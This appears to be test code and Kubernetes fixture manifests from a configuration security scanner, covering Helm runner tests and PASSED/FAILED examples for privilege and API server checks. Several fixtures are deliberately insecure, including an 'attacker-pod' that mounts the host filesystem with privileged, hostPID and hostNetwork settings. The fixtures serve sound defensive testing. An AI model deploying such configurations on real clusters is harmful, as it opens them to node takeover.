"/original/root" # Create template mapping template_mapping = { "/tmp/helm_test/manifest1.yaml": "/original/root/chart/templates/manifest1.yaml", "/tmp/helm_test/manifest2.yaml": "/original/root/chart/templates/manifest2.yaml", "/tmp/helm_test/unknown.yaml": "/original/root/chart/templates/unknown.yaml", } # Create some test records failed_check1 = Record( check_id="CKV_K8S_1", check_name="Test check 1", check_result={"result": CheckResult.FAILED}, code_block=[], file_path=f"{tmp_dir}/manifest1.yaml", file_line_range=[1, 10], resource="resource1", evaluations={}, check_class="", file_abs_path=f"{tmp_dir}/manifest1.yaml", entity_tags={}, ) passed_check1 = Record( check_id="CKV_K8S_2", check_name="Test check 2", check_result={"result": CheckResult.PASSED}, code_block=[], file_path=f"{tmp_dir}/manifest2.yaml", file_line_range=[1, 10], resource="resource2", evaluations={}, check_class="", file_abs_path=f"{tmp_dir}/manifest2.yaml", entity_tags={}, ) # Add unknown path check to test edge case unknown_check = Record( check_id="CKV_K8S_3", check_name="Test check 3", check_result={"result": CheckResult.FAILED}, code_block=[], file_path=f"{tmp_dir}/unknown.yaml", file_line_range=[1, 10], resource="resource3", evaluations={}, check_class="", file_abs_path=f"{tmp_dir}/unknown.yaml", entity_tags={}, ) report.failed_checks = [failed_check1, unknown_check] report.passed_checks = [passed_check1] # Add resources to report report.resources = { f"{tmp_dir}/manifest1.yaml:resource1", f"{tmp_dir}/manifest2.yaml:resource2", f"{tmp_dir}/unknown.yaml:resource3" } # Run the function to test fix_report_paths(report, tmp_dir, template_mapping, original_root_folder) # Check the results self.assertEqual(failed_check1.repo_file_path, "/chart/templates/manifest1.yaml") self.assertEqual(failed_check1.file_path, "/chart/templates/manifest1.yaml") self.assertEqual(failed_check1.file_abs_path, "/original/root/chart/templates/manifest1.yaml") self.assertEqual(passed_check1.repo_file_path, "/chart/templates/manifest2.yaml") self.assertEqual(passed_check1.file_path, "/chart/templates/manifest2.yaml") self.assertEqual(passed_check1.file_abs_path, "/original/root/chart/templates/manifest2.yaml") # Unknown path should just have the temp dir prefix removed self.assertEqual(unknown_check.repo_file_path, "/chart/templates/unknown.yaml") # Check that resources are also updated self.assertIn("/original/root/chart/templates/manifest1.yaml:resource1", report.resources) self.assertIn("/original/root/chart/templates/manifest2.yaml:resource2", report.resources) self.assertIn("/original/root/chart/templates/unknown.yaml:resource3", report.resources) def test_parse_output(self): # Create a temp directory for the test with tempfile.TemporaryDirectory() as target_dir: # Sample helm template output with multiple resources helm_output = b"---\n# Source: mychart/templates/service.yaml\napiVersion: v1\nkind: Service\nmetadata:\n name: example-service\nspec:\n selector:\n app: example\n ports:\n - port: 80\n targetPort: 8080\n---\n# Source: mychart/templates/deployment.yaml\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n name: example-deployment\nspec:\n replicas: 3\n template:\n metadata:\n labels:\n app: example\n spec:\n containers:\n - name: example\n image: example:1.0" # Create a temporary chart directory with tempfile.TemporaryDirectory() as chart_dir: # Set up the chart directory structure templates_dir = os.path.join(chart_dir, "templates") os.makedirs(templates_dir, exist_ok=True) # Create template files to test mapping with open(os.path.join(templates_dir, "service.yaml"), 'w') as f: f.write("# Original service template") with open(os.path.join(templates_dir, "deployment.yaml"), 'w') as f: f.write("# Original deployment template") # Create an empty template mapping dictionary template_mapping = {} # Call the parse_output function Runner._parse_output(target_dir, helm_output, chart_dir, template_mapping) # Check template mapping was populated correctly expected_mapping = { f'{target_dir}/mychart/templates/service.yaml': os.path.join(chart_dir, "templates/service.yaml"), f'{target_dir}/mychart/templates/deployment.yaml': os.path.join(chart_dir, "templates/deployment.yaml") } # Compare the mappings - normalize paths for comparison normalized_template_mapping = {k.replace('\\', '/'): v.replace('\\', '/') for k, v in template_mapping.items()} normalized_expected_mapping = {k.replace('\\', '/'): v.replace('\\', '/') for k, v in expected_mapping.items()} self.assertEqual(normalized_template_mapping, normalized_expected_mapping) # Verify file content was written correctly service_file_path = os.path.join(target_dir, "mychart/templates/service.yaml") deployment_file_path = os.path.join(target_dir, "mychart/templates/deployment.yaml") if os.path.exists(service_file_path): with open(service_file_path, 'r') as f: content = f.read() self.assertIn("kind: Service", content) self.assertIn("name: example-service", content) if os.path.exists(deployment_file_path): with open(deployment_file_path, 'r') as f: content = f.read() self.assertIn("kind: Deployment", content) self.assertIn("name: example-deployment", content) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/helm/test_runner_image_referencer.py ================================================ from __future__ import annotations from pathlib import Path import pytest from pytest_mock import MockerFixture from checkov.common.bridgecrew.bc_source import get_source_type from checkov.common.bridgecrew.check_type import CheckType from checkov.helm.runner import Runner from checkov.runner_filter import RunnerFilter from tests.common.image_referencer.test_utils import ( mock_get_empty_license_statuses_async, mock_get_image_cached_result_async, ) from tests.helm.utils import helm_exists RESOURCES_PATH = Path(__file__).parent / "runner/resources" @pytest.mark.skipif(not helm_exists(), reason="helm not installed") def test_deployment_resources(mocker: MockerFixture): from checkov.common.bridgecrew.platform_integration import bc_integration # given file_name = "hello-world/templates/deployment.yaml" image_name = "nginx:1.16.0" code_lines = "20-42" test_folder = RESOURCES_PATH / "image_referencer" runner_filter = RunnerFilter(run_image_referencer=True) bc_integration.bc_source = get_source_type("disabled") mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_empty_license_statuses_async, ) # when reports = Runner().run(root_folder=str(test_folder), runner_filter=runner_filter) # then assert len(reports) == 2 helm_report = next(report for report in reports if report.check_type == CheckType.HELM) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(helm_report.resources) == 4 assert len(helm_report.passed_checks) == 72 assert len(helm_report.failed_checks) == 20 assert len(helm_report.skipped_checks) == 0 assert len(helm_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 1 assert sca_image_report.resources == { f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go", } assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 3 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 assert len(sca_image_report.image_cached_results) == 1 assert sca_image_report.image_cached_results[0]["dockerImageName"] == image_name assert ( sca_image_report.image_cached_results[0]["relatedResourceId"] == "/hello-world/templates/deployment.yaml:Pod.default.release-name-hello-world.app.kubernetes.io/name-hello-world.app.kubernetes.io/instance-release-name" ) assert sca_image_report.image_cached_results[0]["packages"] == [ {"type": "os", "name": "tzdata", "version": "2021a-1+deb11u5", "licenses": []} ] ================================================ FILE: tests/helm/utils.py ================================================ import subprocess from checkov.helm.runner import Runner def helm_exists() -> bool: try: subprocess.run([Runner.helm_command, "version"], check=True, stdout=subprocess.PIPE) except Exception: return False return True ================================================ FILE: tests/kubernetes/__init__.py ================================================ ================================================ FILE: tests/kubernetes/checks/__init__.py ================================================ ================================================ FILE: tests/kubernetes/checks/example_AllowPrivilegeEscalation/ds-nginx-ingress-FAILED.yaml ================================================ kind: DaemonSet apiVersion: extensions/v1beta1 metadata: name: nginx-ingress-controller namespace: example-ns labels: app.kubernetes.io/name: ingress-nginx app.kubernetes.io/part-of: ingress-nginx spec: selector: matchLabels: app.kubernetes.io/name: ingress-nginx app.kubernetes.io/part-of: ingress-nginx template: metadata: labels: app.kubernetes.io/name: ingress-nginx app.kubernetes.io/part-of: ingress-nginx annotations: prometheus.io/port: "10254" prometheus.io/scrape: "true" spec: serviceAccountName: nginx-ingress-serviceaccount imagePullSecrets: - name: private-repo containers: - name: nginx-ingress-controller image: private_repo/private_image args: - /nginx-ingress-controller - --configmap=$(POD_NAMESPACE)/nginx-configuration - --tcp-services-configmap=$(POD_NAMESPACE)/tcp-services - --udp-services-configmap=$(POD_NAMESPACE)/udp-services - --publish-service=$(POD_NAMESPACE)/ingress-nginx - --annotations-prefix=nginx.ingress.kubernetes.io - --default-ssl-certificate=$(POD_NAMESPACE)/tls-cert securityContext: allowPrivilegeEscalation: true capabilities: drop: - ALL add: - NET_BIND_SERVICE runAsUser: 33 resources: limits: cpu: 500m memory: 300Mi requests: cpu: 400m memory: 200Mi env: - name: POD_NAME valueFrom: fieldRef: fieldPath: metadata.name - name: POD_NAMESPACE valueFrom: fieldRef: fieldPath: metadata.namespace ports: - name: https containerPort: 443 livenessProbe: failureThreshold: 3 httpGet: path: /healthz port: 10254 scheme: HTTP initialDelaySeconds: 10 periodSeconds: 10 successThreshold: 1 timeoutSeconds: 10 readinessProbe: failureThreshold: 3 httpGet: path: /healthz port: 10254 scheme: HTTP periodSeconds: 10 successThreshold: 1 timeoutSeconds: 10 ================================================ FILE: tests/kubernetes/checks/example_AllowPrivilegeEscalation/nginx-app-FAILED.json ================================================ { "kind": "Pod", "apiVersion": "v1", "metadata": { "name": "my-nginx", "namespace": "nginx", "labels": { "app": "nginx" } }, "spec": { "containers": [ { "name": "nginx", "image": "nginx:1.14.2", "ports": [ { "name": "http", "containerPort": 80 } ] } ] } } ================================================ FILE: tests/kubernetes/checks/example_AllowPrivilegeEscalation/oc-deploymentConfig-FAILED.yml ================================================ # Redhat Openshift DeploymentConfig example: # https://access.redhat.com/documentation/en-us/openshift_container_platform/4.2/html/applications/deployments apiVersion: v1 kind: DeploymentConfig metadata: name: frontend spec: replicas: 5 selector: name: frontend template: metadata: labels: tier: frontend spec: containers: - image: openshift/hello-openshift name: helloworld ports: - containerPort: 8080 protocol: TCP restartPolicy: Always triggers: - type: ConfigChange - imageChangeParams: automatic: true containerNames: - helloworld from: kind: ImageStreamTag name: hello-openshift:latest type: ImageChange strategy: type: Rolling ================================================ FILE: tests/kubernetes/checks/example_AllowPrivilegeEscalation/oc-deploymentConfig-PASSED.yml ================================================ # Redhat Openshift DeploymentConfig example with securityContext added: # https://access.redhat.com/documentation/en-us/openshift_container_platform/4.2/html/applications/deployments apiVersion: v1 kind: DeploymentConfig metadata: name: frontend spec: replicas: 5 selector: name: frontend template: metadata: labels: tier: frontend spec: containers: - image: openshift/hello-openshift name: helloworld ports: - containerPort: 8080 protocol: TCP securityContext: allowPrivilegeEscalation: false restartPolicy: Always triggers: - type: ConfigChange - imageChangeParams: automatic: true containerNames: - helloworld from: kind: ImageStreamTag name: hello-openshift:latest type: ImageChange strategy: type: Rolling ================================================ FILE: tests/kubernetes/checks/example_AllowPrivilegeEscalation/pod-runas1000-PASSED.yaml ================================================ # Source: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ apiVersion: v1 kind: Pod metadata: name: security-context-demo spec: securityContext: runAsUser: 1000 runAsGroup: 3000 fsGroup: 2000 volumes: - name: sec-ctx-vol emptyDir: {} containers: - name: sec-ctx-demo image: busybox command: [ "sh", "-c", "sleep 1h" ] volumeMounts: - name: sec-ctx-vol mountPath: /data/demo securityContext: allowPrivilegeEscalation: false # https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ # cat /proc/1/status # allowPrivilegeEscalation: false means NoNewPrivs = 1 # https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html ================================================ FILE: tests/kubernetes/checks/example_AllowPrivilegeEscalation/pod-runas1000-malformed-PASSED.yaml ================================================ # Source: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ apiVersion: v1 kind: Pod metadata: name: security-context-demo spec: securityContext: runAsUser: 1000 runAsGroup: 3000 fsGroup: 2000 volumes: - name: sec-ctx-vol emptyDir: {} containers: name: sec-ctx-demo image: busybox command: [ "sh", "-c", "sleep 1h" ] volumeMounts: - name: sec-ctx-vol mountPath: /data/demo securityContext: allowPrivilegeEscalation: false # https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ # cat /proc/1/status # allowPrivilegeEscalation: false means NoNewPrivs = 1 # https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html ================================================ FILE: tests/kubernetes/checks/example_AllowPrivilegeEscalation/pod-to-node-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: labels: run: attacker-pod name: attacker-pod spec: hostPID: true hostIPC: true hostNetwork: true volumes: - name: host-fs hostPath: path: / containers: - image: ubuntu name: attacker-pod command: ["/bin/sh", "-c", "sleep infinity"] securityContext: privileged: true allowPrivilegeEscalation: true volumeMounts: - name: host-fs mountPath: /host restartPolicy: Never ================================================ FILE: tests/kubernetes/checks/example_AllowPrivilegeEscalation/rootDeployment-PASSED.yaml ================================================ apiVersion: extensions/v1beta1 kind: Deployment metadata: name: hello labels: app: hello spec: replicas: 1 selector: matchLabels: app: hello template: metadata: labels: app: hello spec: containers: - image: k8s.gcr.io/echoserver:1.4 name: hello securityContext: allowPrivilegeEscalation: false runAsUser: 0 ================================================ FILE: tests/kubernetes/checks/example_AllowedCapabilities/cassandra-FAILED.yaml ================================================ # Source: https://kubernetes.io/docs/tutorials/stateful-application/cassandra/ # https://github.com/kubernetes/examples/tree/master/cassandra apiVersion: v1 kind: Service metadata: labels: app: cassandra name: cassandra spec: clusterIP: None ports: - port: 9042 selector: app: cassandra --- apiVersion: apps/v1 kind: StatefulSet metadata: name: cassandra labels: app: cassandra spec: serviceName: cassandra replicas: 3 selector: matchLabels: app: cassandra template: metadata: labels: app: cassandra spec: terminationGracePeriodSeconds: 1800 containers: - name: cassandra image: gcr.io/google-samples/cassandra:v13 imagePullPolicy: Always ports: - containerPort: 7000 name: intra-node - containerPort: 7001 name: tls-intra-node - containerPort: 7199 name: jmx - containerPort: 9042 name: cql resources: limits: cpu: "500m" memory: 1Gi requests: cpu: "500m" memory: 1Gi securityContext: capabilities: add: - IPC_LOCK lifecycle: preStop: exec: command: - /bin/sh - -c - nodetool drain env: - name: MAX_HEAP_SIZE value: 512M - name: HEAP_NEWSIZE value: 100M - name: CASSANDRA_SEEDS value: "cassandra-0.cassandra.default.svc.cluster.local" - name: CASSANDRA_CLUSTER_NAME value: "K8Demo" - name: CASSANDRA_DC value: "DC1-K8Demo" - name: CASSANDRA_RACK value: "Rack1-K8Demo" - name: POD_IP valueFrom: fieldRef: fieldPath: status.podIP readinessProbe: exec: command: - /bin/bash - -c - /ready-probe.sh initialDelaySeconds: 15 timeoutSeconds: 5 # These volume mounts are persistent. They are like inline claims, # but not exactly because the names need to match exactly one of # the stateful pod volumes. volumeMounts: - name: cassandra-data mountPath: /cassandra_data - name: cassandra image: gcr.io/google-samples/cassandra:v13 imagePullPolicy: Always ports: - containerPort: 7000 name: intra-node - containerPort: 7001 name: tls-intra-node - containerPort: 7199 name: jmx - containerPort: 9042 name: cql resources: limits: cpu: "500m" memory: 1Gi requests: cpu: "500m" memory: 1Gi lifecycle: preStop: exec: command: - /bin/sh - -c - nodetool drain env: - name: MAX_HEAP_SIZE value: 512M - name: HEAP_NEWSIZE value: 100M - name: CASSANDRA_SEEDS value: "cassandra-0.cassandra.default.svc.cluster.local" - name: CASSANDRA_CLUSTER_NAME value: "K8Demo" - name: CASSANDRA_DC value: "DC1-K8Demo" - name: CASSANDRA_RACK value: "Rack1-K8Demo" - name: POD_IP valueFrom: fieldRef: fieldPath: status.podIP readinessProbe: exec: command: - /bin/bash - -c - /ready-probe.sh initialDelaySeconds: 15 timeoutSeconds: 5 # These volume mounts are persistent. They are like inline claims, # but not exactly because the names need to match exactly one of # the stateful pod volumes. volumeMounts: - name: cassandra-data mountPath: /cassandra_data # These are converted to volume claims by the controller # and mounted at the paths mentioned above. # do not use these in production until ssd GCEPersistentDisk or other ssd pd volumeClaimTemplates: - metadata: name: cassandra-data spec: accessModes: [ "ReadWriteOnce" ] storageClassName: fast resources: requests: storage: 1Gi --- kind: StorageClass apiVersion: storage.k8s.io/v1 metadata: name: fast provisioner: k8s.io/minikube-hostpath parameters: type: pd-ssd ================================================ FILE: tests/kubernetes/checks/example_AllowedCapabilities/cronjob-PASSED.yaml ================================================ # Source: https://kubernetes.io/docs/tasks/job/automated-tasks-with-cron-jobs/ apiVersion: batch/v1beta1 kind: CronJob metadata: name: hello spec: schedule: "*/1 * * * *" jobTemplate: spec: template: spec: containers: - name: hello image: busybox args: - /bin/sh - -c - date; echo Hello from the Kubernetes cluster restartPolicy: OnFailure ================================================ FILE: tests/kubernetes/checks/example_AllowedCapabilities/cronjob-UNKOWN.yaml ================================================ # Source: https://kubernetes.io/docs/tasks/job/automated-tasks-with-cron-jobs/ # Testing empty spec apiVersion: batch/v1beta1 kind: CronJob metadata: name: hello spec: ================================================ FILE: tests/kubernetes/checks/example_AllowedCapabilities/nginx-deployment-PASSED.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: my-nginx labels: app: nginx spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 ================================================ FILE: tests/kubernetes/checks/example_AllowedCapabilitiesSysAdmin/cronjob-PASSED.yaml ================================================ # Source: https://kubernetes.io/docs/tasks/job/automated-tasks-with-cron-jobs/ apiVersion: batch/v1beta1 kind: CronJob metadata: name: hello spec: schedule: "*/1 * * * *" jobTemplate: spec: template: spec: containers: - name: hello image: busybox args: - /bin/sh - -c - date; echo Hello from the Kubernetes cluster restartPolicy: OnFailure ================================================ FILE: tests/kubernetes/checks/example_AllowedCapabilitiesSysAdmin/pod-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: security-context-demo-1 spec: containers: - name: sec-ctx-1 image: gcr.io/google-samples/node-hello:1.0 securityContext: capabilities: add: ["SYS_ADMIN"] ================================================ FILE: tests/kubernetes/checks/example_AllowedCapabilitiesSysAdmin/pod-FAILED2.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: security-context-demo-1 spec: containers: ================================================ FILE: tests/kubernetes/checks/example_ApiServerAdmissionControlAlwaysAdmit/ApiServerAdmissionControlAlwaysAdmit-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-failed namespace: kube-system spec: containers: - command: - kube-apiserver - --enable-admission-plugins=AlwaysAdmit image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAdmissionControlAlwaysAdmit/ApiServerAdmissionControlAlwaysAdmit-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-passed namespace: kube-system spec: containers: - command: - kube-apiserver - --enable-admission-plugins=other image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAdmissionControlEventRateLimit/ApiServerAdmissionControlEventRateLimit-FAILED.yaml ================================================ apiVersion: apiserver.config.k8s.io/v1 kind: AdmissionConfiguration metadata: name: "admission-configuration-failed" plugins: - name: ValidatingAdmissionWebhook configuration: apiVersion: apiserver.config.k8s.io/v1 kind: WebhookAdmissionConfiguration kubeConfigFile: "" - name: MutatingAdmissionWebhook configuration: apiVersion: apiserver.config.k8s.io/v1 kind: WebhookAdmissionConfiguration kubeConfigFile: "" ================================================ FILE: tests/kubernetes/checks/example_ApiServerAdmissionControlEventRateLimit/ApiServerAdmissionControlEventRateLimit-PASSED.yaml ================================================ apiVersion: apiserver.config.k8s.io/v1 kind: AdmissionConfiguration metadata: name: "admission-configuration-passed" plugins: - name: ValidatingAdmissionWebhook configuration: apiVersion: apiserver.config.k8s.io/v1 kind: WebhookAdmissionConfiguration kubeConfigFile: "" - name: EventRateLimit path: eventconfig.yaml - name: MutatingAdmissionWebhook configuration: apiVersion: apiserver.config.k8s.io/v1 kind: WebhookAdmissionConfiguration kubeConfigFile: "" ================================================ FILE: tests/kubernetes/checks/example_ApiServerAlwaysPullImagesPlugin/ApiServerAlwaysPullImagesPlugin-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --enable-admission-plugins=other image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAlwaysPullImagesPlugin/ApiServerAlwaysPullImagesPlugin-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --enable-admission-plugins=AlwaysPullImages image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAnonymousAuth/ApiServer-AnonymousAuth-False-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --anonymous-auth=false image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAnonymousAuth/ApiServer-AnonymousAuth-Missing-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAnonymousAuth/ApiServer-AnonymousAuth-True-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --anonymous-auth=true image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAuditLog/ApiServer-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-fail namespace: kube-system spec: containers: - command: - kube-apiserver image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAuditLog/ApiServer-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-pass namespace: kube-system spec: containers: - command: - kube-apiserver - --audit-log-path=/path/to/log image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAuditLogMaxAge/ApiServer-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-fail namespace: kube-system spec: containers: - command: - kube-apiserver - --audit-log-maxage=10 image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAuditLogMaxAge/ApiServer-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-pass namespace: kube-system spec: containers: - command: - kube-apiserver - --audit-log-maxage=40 image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAuditLogMaxBackup/ApiServer-FAILED-2.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-low namespace: kube-system spec: containers: - command: - kube-apiserver - --audit-log-maxbackup=5 image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAuditLogMaxBackup/ApiServer-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-missing namespace: kube-system spec: containers: - command: - kube-apiserver - --profiling=true image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail 